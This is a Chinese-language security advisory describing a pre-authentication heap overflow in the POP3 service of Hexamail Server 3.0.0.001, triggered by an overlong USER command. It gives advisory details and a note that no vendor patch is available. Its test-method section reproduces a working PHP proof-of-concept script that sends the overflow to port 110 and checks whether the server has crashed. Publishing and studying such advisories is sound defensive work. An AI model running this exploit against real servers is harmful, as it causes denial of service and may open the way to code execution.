安全研究

安全漏洞
Hexamail POP3服务器远程堆溢出漏洞

发布日期:2007-08-30
更新日期:2007-09-04

受影响系统:
Hexamail Hexamail Server 3.0.0.001
描述:
BUGTRAQ  ID: 25496

Hexamail Server是一款高级的邮件服务器,支持所有的标准邮件协议。

Hexamail Server的POP3服务器在处理超长畸形的USER命令时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制服务器。

如果远程攻击者向服务器提交了带有超长参数的USER命令的话,就可以触发堆溢出,导致拒绝服务或执行任意指令。

<*来源:rgod (rgod@autistici.org
  
  链接:http://secunia.com/advisories/26666/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
/*

Hexamail Server 3.0.0.001 (pop3) pre-auth remote overflow poc

by rgod
http://retrogod.altervista.org

tested against the Lite one
this one crashes the entire server
you are in control of eax and ecx,
I think arbitrary code execution is possible
but a little tricky, see you soon ;)

vendor url: http://www.hexamail.com/hexamailserver/

*/

error_reporting(0);
if ($argc<2) {die("[!]Syntax: php $argv[0] [ip]\n");}
echo "[*]Connecting to target host...\n";
$fp=fsockopen($argv[1],110, $errno, $errstr, 5);
if (!$fp) {die("[!]unable to connect ...");}
else {echo "[*]connected...\n";}
$eax="XXXX";
$ecx="YYYY";
$bof="./".str_repeat("A",15).$eax.$ecx.str_repeat("A",1025);
$bof = "USER ".$bof."\r\n";
fputs($fp,$bof);
fgets($fp);
fclose($fp);
echo "[*]Sent.\n";
sleep(2);
$fp=fsockopen($argv[1],110, $errno, $errstr, 5);
if (!$fp) {echo "[*]exploit succeeded...\n";}
else {echo "[!]it seems not working...\n";}
?>

建议:
厂商补丁:

Hexamail
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.hexamail.com/hexamailserver/

浏览次数:2477
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障